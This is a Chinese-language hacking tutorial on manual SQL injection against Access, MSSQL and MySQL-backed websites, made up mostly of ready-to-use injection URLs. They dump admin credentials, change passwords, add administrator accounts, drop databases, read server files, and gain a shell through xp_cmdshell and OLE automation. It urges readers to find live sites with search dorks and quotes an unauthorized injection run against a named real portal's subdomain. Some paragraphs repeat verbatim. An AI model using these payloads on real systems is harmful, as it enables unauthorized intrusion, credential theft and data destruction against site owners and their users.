#某脚本黑客笔记
俗话说的好“自己动手,丰衣足食”。对于注入漏洞后台数据库,ACCESS、SQServer(MSSQL)、MySQL 这三个
1、ACCESS
我们先找到一个类似于 http://www.xxx.com/xx.asp?id=xxxx 的 URL (用 Google语法搜索),先在这个 URL 后加上一个单引号,变成 http://www.xxx.com/xx.asp?id=x',如果出现错误提示,则该网站可能就存在注入漏洞了。
步骤一:判断是否为ACCESS后台数据库
一、http://www.xxx.com/xx.asp?id=x and 1=1和http://www.xxx.com/xx.asp?id=x and 1=2,如果他们两返回的页面不同则就说明存在注入漏洞了
步骤一:提 交http://www.xxx.com/xx.asp?id=x and user>0 ,是ACCESS 数据库那么返回的一般有“ Microsoft JET Database”关键字,是MSSQL数据库的话返回的错误提示里一般有“SQL Server”
步骤二:猜解数据库的表名
一、猜解表名的语句为:“and exists (select *from 表名)"。以 http://www.xxx.com/xx.asp?id=x 为例,如果我猜的这个站的数据库中有表名为 zyh,那就提交 http://www.xxx.com/xx.asp?id=x and exists (select * from zyh)。结果返回为错误,错误就明数据库中没有 zyh 这个表名。那我们在猜一下有没有 config 这个表名,提交 http://www.xxx.com/xx.asp?id=x and exists (select *from config),返回正常,说明存在 config 这个表名。
二、认识表名:
一般常见的表名有:admin、a_admin、x_admin、m_admin、adminuser、admin_user、
article_admin、administrator、manager、member、memberlist、user、users、userinfo、
user_info、admin_userinfo、userlist、user_list、login、用户、密码、会员、登陆、
movie、movies、news、 password、clubconfig、config、company、 book、art、 bbs、dv_admin
等等。
步骤三、
一、猜解表里的列名
猜解列名的语句exists “(select 列
名 from 表名)”或者“exists (select count(列名) from 表名)”。如果返回错
误就说明这个列不存在,如果返回正常就说明这个列存在。
二、比如我们这里猜解是否有 id 这个列,则提交 http://www.xxx.com/xx.asp?id=x and exists (select id from config),
发现返回正常。
步骤三、
一、猜解列的内容
一般来说我们只猜解
用户名和密码,比如前面我们猜解了exists这一个字段,一般我们是
需要密码和用户名,所以猜解 adminname、adminpass 就可以了。猜解用户名和密码需要用到 ASC 和 Mid 这个两个函数。用 Mid(列名,N,1)函数截取第 N 位字符,
在用 ASC(Mid(列名,N,1))函数得到第N位字符的 ASCII 码。 ASCII 码又叫美国信息交换标准
码,比如 a 的十进制 ASCII 码为 97 十六进制
为 61,在我们猜解出来的就是十进制 ASCII 码,我们需要把他转换成正常的符号。
步骤四、
一、猜解用户名/密码的语句为“http://www.xxx.com/xx.asp?id=x and (select top 1 asc(mid(列名,列数 N,1)) from 表名)>x”,
top 后的数字为该列的第 N 行,x 为 ASCII 码,列数 N 就是在这一列中的第几个数字。
二、提 交 猜 解 adminname 列 的 第 一 个 数 字 的 ASCII 码 的 值
http://www.cctv5.com.cn/TVPLAY.ASP?id=7 and (select top 1 asc(mid(adminname,1,1))
from config)>50,返回正常,继续提交>100 返回错误,提交>80 返回正常,一直提交到>96
正常,提交>97 返回错误
三、这样我们就得到了 adminname 列的第一行纪录中的第一个字母的
ASCII 码为 97,通过网络上的转换工具就可以得到第一个字母为 a。最后通过我对 adminname
和 adminpass 的猜解后发现他们的 ASCII 值都为 97、 100、 109、105、 110, 转换后都为 admin,
我们在用工具猜解一下以证明其正确性,结果是一致的。
步骤五:
已经猜解到了密码和用户名里的数据了,对于 ASCII 猜解这就算结束了。从上面我们
可以看到在猜解表名和字段名的时候都是利用一些常见的名字进行配对的,也就是说在这里
注入是靠很大的运气。如果表名和字段名都设置的很变态,如管理员用自己的姓名作为表名
和字段名的话那我们根本就无法猜解了。还有就是如果发现一个网站采用的是一套比较常见
的系统,那么我们还可以把这套系统下载下来从里面的数据库中得到表名和字段名,从而直
接猜解出用户名和密码。对于 ASP+ACCESS 的注入攻击,我们得到用户名和密码也就完成了。
如果我们要继续入侵的话,只有进入后台,看能否上传木马或利用一句话木马来得到
webshell。
2、SQL Server(MSSQL)
步骤一:
一、
我们还是以 http://www.xxx.com/xxx.asp?id=xx 为例子,如果用但引号、and 1=1、
and 1=2 检测到这个网站有漏洞,加单引号后从返回的错误信息中就可以确定该网站使用
的是 SQL Server 数据库,在得到后台是 MSSQL 数据库之后确定当前数据库的用户名了
二、使用 and user>0 就可以
得到,输入 http://www.xxx.com/xxx.asp?id=xx and user>0 就可以得到当前用户的用户名
为 xingsheadmin,
为什么输入 and user>0 就可以得到当前用户名呢?下面我来给大家解释一下,虽然
and user>0 很简单,但却包含了 SQLServer 特有注入方法的精髓。让我们来看看它的含义:
首先,前面的语句是正常的,重点在 and user>0,因为 user 是 SQLServer 的一个内置变量,
它的值是当前连接的用户名,类型为 nvarchar。而这里我们拿一个 nvarchar 的值跟 int
的数的 0 比较,系统会先试图将 nvarchar 的值转成 int 型,当然,转的过程中肯定会出错,
SQLServer 的出错提示是:将 nvarchar 值“abc” 转换数据类型为 int 的列时发生语法错
误,呵呵,abc 正是变量 user 的值,这样,不废吹灰之力就拿到了数据库的用户名。还有
在我们的 SQLServer 数据库里的用户 sa 是个等同 Adminstrators 权限的角色,拿到了 sa
权限,几乎肯定可以拿到主机的 Administrator 了。而我们上面的方法可以很方便的测试
出是否是用 sa 登录,如果是 sa 登录,那么返回的错误提示是将”dbo”转换成 int 的列发
生错误,而不是”sa”?
步骤二:
一、
在得到当前的用户名之后就是要查询当前用户的数据信息了,利用 having 1=1--就可以
得到用户数据信息了。输入 http://www.xxx.com/xxx.asp?id=xx having 1=1--,
其 中 FORUM_TOPICS.TOPIC_ID 就 是 当 前 用 户 的 数 据 信 息 了 。
FORUM_TOPICS 是表名,而 TOPIC_ID 为列名。不过这里的语句
稍 微 有 点 变 化 , 改 成 了 group by 用 户 信 息 havi ng 1= 1-- 。 我 们 继 续 提 交
http://www.xxx.com/xxx.asp?id=xx group by FORUM_TOPICS.TOPIC_ID having 1=1--
可得到一个 T_SUBJECT 列名
二、继续提交数据,不过这个时候我们已经有
了两个列名了,所以提交的数据又有一点变化,为 group by 用户信息 1,用户信息 2 h aving
1=1--。 我们提交 http://www.xxx.com/xxx.asp?id=xx group by FORUM_TOPICS.TOPIC_ID ,
FORUM_TOPICS.T_SUBJECT having 1=1--就可以得到其他的列名了。上面的的方法的原理
是在 SQL 语句中, having 1=1--是与 group by 结合使用并进行条件判断的,如果语句不完整,
数据库就会返回错误信息,并显示一个表名和一个列名。
三、
1、
下面我就教大家如何暴任意表名和
列名的方法。此方法的语句: and (select top 1 name from (select top N id,name from
sysobjects where xtype=char(85)) T order by id desc)>1。
2、其中 N 就是代表数据库中的第 N 个表,
这里我们来提交 http://www.xxx.com/xxx.asp?id=xx and (select top 1 name from (select top
1 id,name from sysobjects where xtype=char(85)) T order by id desc)>1 就可以猜解第一个表的
表名为 D99_REG
3、而我们提交 http://www.xxx.com/xxx.asp?id=xx an d
(select top 1 name from (select top 2 id,name from sysobjects where xtype=char(85)) T order by id
desc)>1 就可以猜解到第二个表名为 shit_tmp,
四、
要暴任意表中的任意列的语句为: and (sel ect to p 1 co l_name(object_id('表名'),N) fro m
sysobjects)>1 。 这 里 我 们 提 交 http://www.xxx.com/xxx.asp?id=xx and (select top 1
col_name(object_id('D99_REG'),1) fro m sysobjects)>1 就可以暴出 D99_REG 表中的第一个列
名为 ID,提交 http://www.xxx.com/xxx.asp?id=xx and (selec t top 1
col_name(object_id('D99_REG'),2) fro m sy sobjects)>1 就可以暴出第二个列名为 Data,
五、
有列名和表名之后我们就是要暴出数据库中的数据了,这个命令的相关语句为 and
(select t op 1 列名 fro m 表名 where i d=N)>1,其中 N 代表第 N 条数据,这里我们提交
http://www.xxx.com/xxx.asp?id=xx and (select top 1 username from admin where id=1)>1 就
可 以 猜 解 出 admin 表 中 username 的 第 一 条 数 据 了 , 而 提 交
http://www.xxx.com/xxx.asp?id=xx and (select top 1 password from admin where id=1)>1 就
可以暴出密码了。比起 ACCESS 注入来是不是方便多了!
六、
前面讲的都是 URL 的参数都是数字,如 http://www.xxx.com/xxx.asp?id=xx 中的 id
是等于一个数字的。这种类型的注入攻击,我们直接在这个数字参数后加上注入攻击的代码
就可以了。但是并不是所有的 URL 中都是以数字来作为参数,还有很多是用是用字符来作为
参数的,还有一种是用于搜索功能的,所以它才参数又是不一样。
若 URL 中 的 参 数 是 字 符 的 话 , 假 设 其 URL 地 址 为 :
http://www.xxx.com/xxx.asp?action=value。那么对于这样的
URL 我们要进行注入的话,就要输入 http://www.xxx.com/xxx.asp?action=value' and 1=1
和 http://www.xxx.com/xxx.asp?action=value' and 1=2 来判断是否存在注入漏洞了。
七、
我们 要 进 行 注 入 的 话 , 比 如 判 断 当 前 的 数 据 库 类 型 , 那 就 应 该 输 入
http://www.xxx.com/xxx.asp?action=value' and user>0。它和在数字型注入差不多,但
是要在字符后面加上一个单引号然后在后面加上所要进行注入攻击的代码,注意的是单引号
和注入攻击代码之间要有一个空格。至于为什么要这样, 懂的都懂!
还有一种就是搜索型的注入,这个功能是用到了 SQL 语句中的模糊查询功能。一般这个主要用来搜索的,现在很多网站都提供搜索的功能。如果要注入一个
网站的搜索,那么就应该输入这样的代码“要搜索的关键字%' and 注入攻击代码”。例如,
我们要注入一个网站的搜索的地方,我们选的搜索关键字为 a,那么就可以这样进行判断是
否存在注入漏洞:a' and 1=1 和 a' and 1=2。有一前提是我们所要搜索的关键字 a 必须是
可以搜索到信息的,你不要搞一个连网站都搜索不到的关键字就不行。
八、
在我们的 ACCESS 注入中,如果后台密码是经过了 MD5 加密,而且密码强大很大的
话是破解不出来的,而且在 ACCESS 注入中得到密码一般就结束了。而在 SQL 注入中还有
很多事要做,比如我们在注入的过程中暴出的管理员密码是经过 MD5 加密的,而我们又无
法破解,这个时候我们直接利用 SQL 注入来修改数据库中的数据,直接把管理员的密码改
掉 。 相 关 语 句 为 : ;update 表 名 set 列 名 =' 内 容 ' where 条 件 。 如 果 我 们 这 里 提 交
http://www.xxx.com/xxx.asp?id=xx;update a dmin set passw ord='123' w here user name=
'zyh',其功能就是把 admin 表中的 username 为 zyh 的密码改为 123。这样就实现了对数据库
信息的修改。当然我们也可以新添加一个管理员,相关语句为: ;insert into 表名 valu es (内
容)--。如果我们这里提交 http://www.xxx.com/xxx.asp?id=xx;insert in to a dmin v alues
(zyh,123)--,那么就能够往 admin 表中添加一个 username 为 zyh、 password 为 123 的管理员
了。
九、
加入我们得到了一个网站的后台数据库的名称为 hack,那么我们执行;drop da tabase
hack 后, hack 数据库不覆存在了,如 http://www.xxx.com/xxx.asp?id=xx;drop da tabase
hack。
我们还可以提交在 URL 后面提交 and (sel ect @@versi on)>0 来获得数据库版本;可以
提交 and db_name()>0 来获得当前数据库名;提交 and user>0 获得当前数据库用户名。
除了 user 可以返回当前数据库名外,还有几个也可以达到类似的的效果,如:
SESSION_USER、 CURRENT_USER、 SYSTEM_USER。
要判断当前数据库的权限,我们可以提交 http://www.xxx.com/xxx.asp?id=xx and
user>0 就可以了,如果返回值为“PUBLIC”那么当前就是 PUBLIC 权限了。要获得当前数据
库名,我们可以提交 http://www.xxx.com/xxx.asp?id=xx and db_name()>0 就可以了,如
果返回的值为“admin”,则当前数据库名为 admin。要判断是否支持多句查询,我们可以提
交 http://www.xxx.com/xxx.asp?id=xx;declare @a int--。要判断是否支持子查询,我们
可 以 输 入 http://www.xxx.com/xxx.asp?id=xx and (select count(1) from
[sysobjects])>=0。
结束语:
MSSQL 还有很多扩展功能,下面来简单的介绍一下。利用数据库的扩展存储过
程(exec master..xp_cmdshell)我们还可以做非常多的事情,利用它我们可以很快地获得一
个 shell。如比如我们要查看服务器上的 C 盘的目录,那么我们使用;exec master..xp_cmd
shell ' dir c:\ ' 就可以完成这个功能了, 我们只需要提交 http://www.xxx.com/xxx.asp?
id=xx;exec master..xp_cmdshell ' dir c:\ ' 。执行之后那么执行这条语句之后就看见
C 盘根目录下的文件和文件夹了。我们还可以利用它来加一个管理员账号,我们提交 http:
//www.xxx.com/xxx.asp?id=xx;exec master..xp_cmdshell 'net user 123 123/add'和 h
ttp://www.xxx.com/xxx.asp?id=xx;exec master..xp_cmdshell 'net localgroup administrators 123/add'。那么我就往服务器加了一个 123 的管理员了。其实我们只要在;execmaster..xp_cmdshell 后加上引号和引号内写入一些 DOS 命令就都可以执行了,为了解决有
一些朋友对 DOS 命令的不熟悉, 在光盘中我已经给大家收录了一本关于 DOS 命令方面的书了。
不过在使用扩展存储过程之前, 先要判断它是否存在,我们使用: SELECT count(*) FROM
master.dbo.sysobjects WHERE xtype='X' AND name='xp_cmdshell'就可以完成了。例如
http://www.xxx.com/xxx.asp?id=xx and SELECT count(*) FROM master.dbo.sysobjects
WHERE xtype='X' AND name='xp_cmdshell',如果返回正常则说明扩展存储过程存在,返回
不正常的话就说明不存在。
如果扩展存储过程不存在,我们可以使用:exec sp_addextendedproc xp_cmdshell,
'xplog70.dll'来恢复已经不存在的扩展存储过程,例如 http://www.xxx.com/xxx.asp?id=
xx; exec sp_addextendedproc xp_cmdshell,'xplog70.dll'执行之后,网站 http://www.x
xx.com/后台的数据库的扩展存储过程就被恢复了。而如果要删除扩展存储过程,我们只要
执行 exec sp_dropextendedproc 'xp_cmdshell'这个命令就可以完成了。
前面,我们利用了 xp_cmdshell 获得了一个 shell。其实,在 MSSQL 中还有一种方法
可以获得 shell,下面给大家介绍。在 MS SQL2000 中,提供了一些函数用于访问一个叫做
OLE 的对象,通过它可以访问 OLE 控件,间接的使我们获得一个 shell。而要得到一个 shell
就要使用两个关键函数,分别为“sp_OACreate”和“sp_OAMethod”。相关的 SQL 语句为:
DECLARE @S INTEXEC SP_OACREAT 'wscript.shell',@sexec master..SPOAMETHOD @s,'run',null,'cmd.exe/c 需要执行的 DOS命令(如 dir c:\)'利用它我们同样可以得到一个 shell,可以执行我们的各种命令。通过 URL 提交为:http://www.xxx.com/xxx.aspid=xx;DECLARE @S INT
EXEC SP_OACREAT 'wscript.shell',@s
exec master..SPOAMETHOD @s,'run',null,'cmd.exe/c dir c:\'
执行的结果就是返回遍历服务器 C 盘下的所有文件,同样达到一个 shell 的功能,和上
面的是不是一样呢?上面两种获得 shell 的方法虽然好, 但是必须是 SA 权限才能够执行的。
也就是说如果我们注入的网站的数据库不是 SA 权限的话,那么上面获得 shell 的方法都没
有用了。
3、MySQL
一、
PHP 与 MySQL 是黄金组合,下面就以他们来作为 MySQL 注入的平台吧。首先我们要得到
存在 PHP 注入的网站了,在 google 下输入 inurl:php?id=就可以得到很多 php 的网站了。
随便打开一个链接,如 http://www.shidaiguocui.com/guide_show.php?id=32。在它后面
加上 and 1=1 提交,返回正常。提交 and 1=2 后返回错误。
通过上面两个结果就可以确定该网站存在注入漏洞。但是真正影响我们注入的确不是这
个 PHP 网站,而是其后台的数据库。所以接下来我们就来判后台数据库了,一般都是
MySQL。这里告诉大家一点,在目前的数据库系统中,只有 MySQL 数据库支持/*注释的,所
以我们可以利用它来判断后台是否是 MySQL,如果不是那它就不支持这种注释了,自然就会
出现错误。我们输入 http://www.shidaiguocui.com/guide_show.php?id=32/*后返回的结
果没有出错,说明后台数据库就是 MySQL 了。
二、
接下来就是要判断 MySQL 数据库的版本的了,因为不同的版本对注入的结果会产生很大
的影响。 在 MySQL 版本 4(包括版本 4) 及以上版本新增了一个联合查询查询(UNION)的功能,
比如 SQL 语句 1 UNION SQL 语句 2,提交之后我们的 SQL 语句 1 和 SQL 语句 2 都会被执行,
通过联合查询这个字面意思也是可以理解的。 正是这个功能使得 MySQL 发生 SQL 注入漏洞的
危险性大大的得到提高,利用它我们可以轻易的获取数据库中其他数据表的信息。而在版本
4 以下,确不支持这个功能,而且由于 PHP 中的 mysql_query 函数限制了只能查询一个 SQL
语句,即使你使用分号把多个 SQL 语句组合到一起嵌入 mysql_query 函数,实际上也只有第
一个 SQL 语句被提交给 MySQL,所以那个时候 MySQL 的注入并不是特别的严重,而如今确变
了。
三、
所 以 确 定 MySQL 的 版 本 对 我 们 来 说 比 较 重 要 , 我 们 使 用 and
ord(mid(version(),1,1))>51/* 就 可 以 实 现 了 。 例 如
http://www.shidaiguocui.com/guide_show.php?id=32 and
ord(mid(version(),1,1))>51/*,提交之后,如果返回正常,说明这个数
据库版本大于 4.0,如果返回错误的话,就说明是小于 4.0 的版本了,即不支持 UNION 查询。
这里用到了我们数据库中的 version()函数,它的作用是数据库的版本信息。而 ASCII 码 51
代表的是 3,这里大于 3 的当然就是 4.0 以上版本了啦!
其实还有一种方法来确定是否是 MySQL 数据库及其版本。在 MySQL 数据库中,有一个其
他数据库没有的扩展功能,它可以用/*!...*/这种注释语句来实现各版本功能的兼容。我们
要判断后台数据库我们可以在 URL 后输入/*!%20s*/来确定,如果返回的页面是错误的话,
那几乎可以确定网站后台数据库为 MySQL 了。
四、
用它来确定了是 MySQL 数据库后还可以一步步来定位它的版本:如果在 URL 后输入
/*!30000%20s*/后,如果返回错误的话,说明 MySQL 的版本大于 3.0;如果在 URL 后输入
/*!40000%20s*/后,如果返回错误的话,说明数据库版本大于 4.0;如果在 URL 后输入
/*!50000%20s*/后,如果返回正确的话, 说明数据库版本小于 5.0,如图 2-163 所示;我们
还可以获得更加精确的版本,比如输入/*!4016%20s*/后返回正常则说明 MySQL 的版本小于
4.0.16;输入/*!4015%20s*/后返回错误页面,那么就可以确定该 MySQL 的版本为 4.0.15。
其实,说实话目前绝大部分的 PHP 网站的 MySQL 版本都是大于 4.0 的。至少我目前还没
有见到过哪个网站是用的 3.0 版本的。这是因为 MySQL 是开源的,任何人都可以免费使用。
自然只要一出新版本就会很快的淘汰旧版本,免费的又是最好的谁不用谁不喜欢呢。所以这
里我讲的 MySQL 注入都是在版本 4.0 以上的。
五、
确定版本之后我们就是要确定当前数据库的字段数目了。我们有两种办法来获得,一
是通过 UNINON;二是通过 order by。
先来说第一种,在利用联合查询(UNION)字段数目的时候有一些限制,就是要求前面的
SQL 语句 1 和后面的 SQL 语句 2 中的字段数要相同,否则就会出错。如果我们在不知道数据
表的情况下会给我们的渗透带来一些困难,所以必须确定查询语句查询的字段数目。而我们
正是可以可以利用联合查询字段数目不匹配返回错误的这个特性就可以准确的获得查询语
句查询的字段数目。我们可以提交 union select 1,1,1,1 及其类似的语句。通过不断的增
加 1 的个数,在结合返回信息可以迅速确定该查询语句前面查询的字段数目。我们就是不断
的增加 1,然后根据返回的结果。如果当我们提交到一个 1 的时候,返回的页面是正确的,
那么第一个 SQL 语句 1 中的字段数目就是 union 后多少个 1 的数目。
更为方便的我们可以使用第二种方法,利用 order by 来猜解数据表中的字段数。利用
order by 后加数字,MySQL 会解释成按照第几列排序,如果查询没有我们提交的数字的那么
多页就会返回错误。例如我们提交 http://www.shidaiguocui.com/guide_show.php?id=32
order by 10 后返回正常,这个时候说明数据表中的字段数大于 5;当我提交 order by 13
时返回正常,而当提交 order by 14 时,却返回错误,
这就说明数据表的字段为 13 个。
知道了字段数之后,我们就可以利用 union 查询来获得当前数据库的表名。利用方法是
“union select 字段数 from 表名”,中间的字段数大家要注意了,它是这样表示的:假如
有三个字段,那么就应该这样:1,2,3。例如刚才的那个网站,我们要获得网站数据库的表
名,例如提交 union select 1,2,3,4,5,6,7,8,9,10,11,12,13 from admin 后,就变成了
http://www.shidaiguocui.com/guide_show.php?id=32 union select
1,2,3,4,5,6,7,8,9,10,11,12,13 from admin。返回结果是正常的,说明 admin 这个表名存
在,而且在页面中还有一些数字,如图 2-166 所示。如果不存在就会返回错误页面。如果要
猜解其他的表名,我们只需要不断的该表名就可以了,和前面的 ACCESS 注入中差不多了。
我们得到了几个数字,他们分别是 2、3、4、5、7、9、10 这
几个数字。他们的作用就是分别就是代表的第几个字段,而且我们可以用其他的函数或字符
代替这些字段。例如我们要查看数据库版本时用到的是 version()函数,只要将 version()
放 在 上 面 几 个 字 段 中 的 任 何 一 个 就 可 以 得 到 当 前 的 数 据 库 版 本 , 例 如 提 交
http://www.shidaiguocui.com/guide_show.php?id=32 union select 1,
version(),3,4,5,6,7,8,9,10,11,12,13 from admin 那么就会在第 2 个字段处出现数据库
版本的信息;例如我们提交 http://www.shidaiguocui.com/guide_show.php?id=32 union
select 1,username,3,4,5,6,7,8,9,10,11,12,13 from admin 后就可以看到当前管理员的
用 户 名 , 而 当 我 们 提 交
http://www.shidaiguocui.com/guide_show.php?id=32 union select
1,password,3,4,5,6,7,8,9,10,11,12,13 from admin 后就暴出了当前管理员的密码。
六、
我们成功的暴出了管理员的密码,当然上面暴出的只是 admin 表中的第一条记录,
因为在默认的情况下它是取第一条记录。而如果我们要取 admin 表中的其他记录呢?比如第
二条。不过要实现读取其他记录,我们首先要得到表中能够唯一识别改记录的字段。如在我
们实际生活中可以用身份证号码来识别每一个人,而在数据库也要有这么一个字段,在数据
库中我们称其为主键,一般来说程序员在做数据库的时候都是用
id 这个字段名来作为主键。这里我们假设 id 就是主键,那么我们要取得 admin 表中的第二
条纪录的信息就应该提交 http://www.shidaiguocui.com/guide_show.php?id=32 union
select 1,password,3,4,5,6,7,8,9,10,11,12,13 from admin where id=2 就可以得到第二
条记录的信息,也就是在后面加上 where id=数字。而这个数字就是管理员的编号,它是唯
一的。
这个查询其他记录的功能非常的有用,我们也知道现在几乎所有的网站的密码都是经过
了 MD5 加密,如果那个密码设置的很变态的话,我们是很难破解的。不能被破解,系统又没
有如 cookie 欺骗之类的漏洞,那么我们得到了加密后的密码也是没有用。而我们查询其他
的记录,那么就很有可能其他的记录的密码不是很强壮,破解的几率就很大。
前面在介绍 PHP 注入工具的时候,就提到了 load_file()这个函数,利用它我们可以轻
易的读取到服务器上的内容。不过要使用这个函数,当前数据库的权限必须为 root(和 SA
是一样的,只不过这里不叫 SA,叫 root,其实也是超级管理员)。所以我们要使用 load_fi
le()函数,首先要判断是否是 root 权限,使用 and ord(mid(user(),1,1))=114/*就可以完
成了。例如输入 http://www.shidaiguocui.com/guide_show.php?id=32 and ord(mid(user
(),1,1))=114/*后,如果返回正确的话,则说明是 root 权限,而错误的话就不是 root 权限
了上面我们成功的暴出了管理员的密码,当然上面暴出的只是 admin 表中的第一条记录,
因为在默认的情况下它是取第一条记录。而如果我们要取 admin 表中的其他记录呢?比如第
二条。不过要实现读取其他记录,我们首先要得到表中能够唯一识别改记录的字段。如在我
们实际生活中可以用身份证号码来识别每一个人,而在数据库也要有这么一个字段,在数据
库中我们称其为主键,在第 5 章中有详细介绍。一般来说程序员在做数据库的时候都是用
id 这个字段名来作为主键。这里我们假设 id 就是主键,那么我们要取得 admin 表中的第二
条纪录的信息就应该提交 http://www.shidaiguocui.com/guide_show.php?id=32 union
select 1,password,3,4,5,6,7,8,9,10,11,12,13 from admin where id=2 就可以得到第二
条记录的信息,也就是在后面加上 where id=数字。而这个数字就是管理员的编号,它是唯
一的。
这个查询其他记录的功能非常的有用,我们也知道现在几乎所有的网站的密码都是经过
了 MD5 加密,如果那个密码设置的很变态的话,我们是很难破解的。不能被破解,系统又没
有如 cookie 欺骗之类的漏洞,那么我们得到了加密后的密码也是没有用。而我们查询其他
的记录,那么就很有可能其他的记录的密码不是很强壮,破解的几率就很大。
前面在介绍 PHP 注入工具的时候,就提到了 load_file()这个函数,利用它我们可以轻
易的读取到服务器上的内容。不过要使用这个函数,当前数据库的权限必须为 root(和 SA
是一样的,只不过这里不叫 SA,叫 root,其实也是超级管理员)。所以我们要使用 load_fi
le()函数,首先要判断是否是 root 权限,使用 and ord(mid(user(),1,1))=114/*就可以完
成了。例如输入 http://www.shidaiguocui.com/guide_show.php?id=32 and ord(mid(user
(),1,1))=114/*后,如果返回正确的话,则说明是 root 权限,而错误的话就不是 root 权限
了。
我们还可以利用 and (select count(*) from MySQL.user)>0 来判断是否具有文件读写
的权限,同样可以实现文件的读取。
前面我们在得到存在的数据表以后,返回的信息有很多的数字,我也提到了可以用函数来代替他们。如果我们发现一个网站可以执行 load_file()函数的话,也可以
往这些字段中写入 load_file()函数,以读取服务器上的信息。
我还是以上面的网站为例子,而且 MySQL 是具有 root 权限的,可以利用 load_file()
读取文件。不过这里我假设这个网站是用的 windows 操作系统,那么我要读取 c:/boot.ini
文件中的信息, 我们可以提交 http://www.shidaiguocui.com/guide_show.php?id=32 union
select 1,load_file(0x633A2F626F6F742E696E69),3,4,5,6,7,8,9,10,11,12,13 from
admin 就可以读取 c:/boot.ini 中的信息了,有的人会问在上面中没有 c:/boot.ini 啊?其
实 0x633A2F626F6F742E696E69 就是 c:/boot.ini 的十六进制表示。这里把它改成十六进制
是为了防止我们提交的数据被 PHP 给转义掉,例如提交'时被转义为\'。被转义后我们提交
的数据就会是一个错误的了,自然结果也是错误的,而十六进制可以避免这个情况的发生。
上面我简单的介绍了下在 MySQL 数据库环境下怎么通过手工注入得到网站管理员密码
以及怎么执行一些特殊的函数(如 load_file)来达到我们攻击的目的。其实 MySQL 下还有一
些高级的黑客技术,但是在这里我暂时不讲了。因为涉及到了很多 MySQL 系统和 PHP 的知识,
而在这里大家还没有学 PHP 和 MySQL。所以其他的高级技巧我会在第 5 章的 5.7 节和第 10
章中来给大家介绍,目的就是让大家有了那些基础知识之后能够更加深刻的理解这些高级黑
客技术。如果放在这里肯定有很多人看不懂,势必会影响大家的学习热情。好了,上面讲了
那么多,大家也可以去网上找几个站来做做试验了。
有一篇文章非常值得大家学习,是由剑心写的《对 sina.com.cn 的一次安全检测》。很
适合刚刚学会 PHP 手工注入的新手借鉴,文章内容如下所示:
最近学习了一些简单的 Mysql 注入知识,也对 Php 下的注入有了一定的了解,就想找个机会
检验下自己的学习成果,顺便把学习到的知识做个总结,于是上网想找几个目标来实习下!
看了那么多的牛人对 163.com 做安全检测,我想那就试试可以跟 163.com 齐名的另一个网站
新浪网,看看它的安全性如何吧。
要想最快地找到网站的系统漏洞就要用扫描,要想最快地找到脚本方面的漏洞就应该用
Google 了。我在 Google 里这样搜索:php?id= site:sina.com.cn,这句话的意思是在
sina.com.cn 中找寻链接有 php?id=这样的信息,因为 Php 注入的特性(Php 默认将传递的
参数中的'等字符做了转换,所以对于字符类型的变量默认情况下很难注入),所以我们主要
找 id=这样的地方,很有可能就是传递整型数字变量的地方。点搜索之后就要看看运气了,
嘿嘿,还真让我找到一个哦。
XX.sina.com.cn 是新浪的一个分站,我看到里面有很多形如 php?id=的地方,这些就是潜在
的可能出问题之处。先看看 http://XX.sina.com.cn/course/coursedetail.php?id=1122
这个链接,加上 and 1=1 提交,正常返回。提交:
http://XX.sina.com.cn/course/coursedetail.php?id=1122 and 1=2
返回信息在下面还暴出了路径。
七、通过基本分析可以知道,这的确是个注入点,因为我们的 1=1 和 1=2 被当成代码执行了,
那么就是存在漏洞了。如果参数没有其它过滤的话(我发现很多的注入点其实都被过滤了
select 和 union 等关键字,在 mysql 中等于是个鸡肋漏洞)我们就可能注入这个网站啦!
继续吧,看看是什么数据库!猜测就知道应该是 php+mysql 的,但是还是用事实说话吧!提
交:
http://XX.sina.com.cn/course/coursedetail.phpid=1122/*jnclovesw
正常返回,事实证明这的确是 mysql 服务器,因为数据库里支持/*注释的
好像差不多就是 Mysql 啦!
知道是什么数据库了,那就继续看看数据库的信息吧。提交:
http://XX.sina.com.cn/course/coursedetail.php?id=1122 and
ord(mid(version(),1,1))>51/*
正常返回。哈哈,看来这个数据库版本是大于 4.0 的啦!Ascii 码 51 代表
的是 3,这里大于 3 的当然就是 4.0 以上版本啦!
看看是不是 root 吧!提交:
http://XX.sina.com.cn/course/coursedetail.php?id=1122 and
ord(mid(user(),1,1))=114/*
这是看 user 的第一个字母是不是 r,返回信息看来不是 root,不能
load_file()啦!由上面路径信息知道,这个机器应该是 Linux 的,为了验证下,我们还是
提交:
http://XX.sina.com.cn/course/coursedetail.php?id=1122 and
length(load_file(0x2F6574632F706173737764))>0/*
返回信息,看来真的没有 file 权限啦, 也就不用判断是不是一台 web 和 Mysql
服务器了,很可惜,不过我们还是继续 injection 吧!
八、
在进一步注入之前,我们还是来看看能不能找到后台吧。因为如果辛苦注入的结果是没
有后台可以登录,通常能把人郁闷死!去同目录下加个 admin/回车,显示没有找到页面,换成 manage 等也没有。去根目录加个/admin,哗的一下,登录页面出现了,嘿嘿,注入有望啦!其实找到登录的后台还有个作用,因为注入过程中是需要猜表和字
段的,但是程序通常在登录的地方和数据库中用一个变量名,所以看看登录的字段就可以很
快地猜测数据库中的字段啦!我们查看源文件,发现登录的用户名是 username,密码是
password,这也给了我们另外一个信息,数据库的表很有可能是 user 或者 admin 这些。凭
什么?凭直觉啦!赶快去试试吧!因为是 4.0 以上的数据库,所以我们不需要一位一位地猜测字段内容,可以一下子将结
果 Union 到网页上来的!先看看有多少字段吧!手工加 union 然后一直加太麻烦,提交:
http://XX.sina.com.cn/course/coursedetail.php?id=1122 order by 10/*
正常返回,说明字段大于 10 个;提交:
http://XX.sina.com.cn/course/coursedetail.php?id=1122 order by 20/*..........
到 40 的时候出错了,说明字段在 30 和 40 之间。那么就测试 35 试试,最后确定字段数是
33。提交:http://XX.sina.com.cn/course/coursedetail.php?id=1122 order by 33/*
正常返回了,哈哈!然后再提交:
http://XX.sina.com.cn/course/coursedetail.php?id=1122 and 1=2 union select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,3
0,31,32,33/*
看来果然是支持 Union 的,并且好多字段都是字符类型的,还在
页面有显示的哦!提交:
http://XX.sina.com.cn/course/coursedetail.php?id=1122 and 1=2 union select
1,2,3,4,5,6,user(),version(),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,
26,27,28,29,30,31,32,33/*,
看看返回的结果,就可以在 7 和 8 出现的地方找到用户名和版本啦!继续我们的注入,提交:
http://XX.sina.com.cn/course/coursedetail.php?id=1122 and 1=2 union select
1,2,3,4,5,6,user(),version(),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,
26,27,28,29,30,31,32,33 from users/*
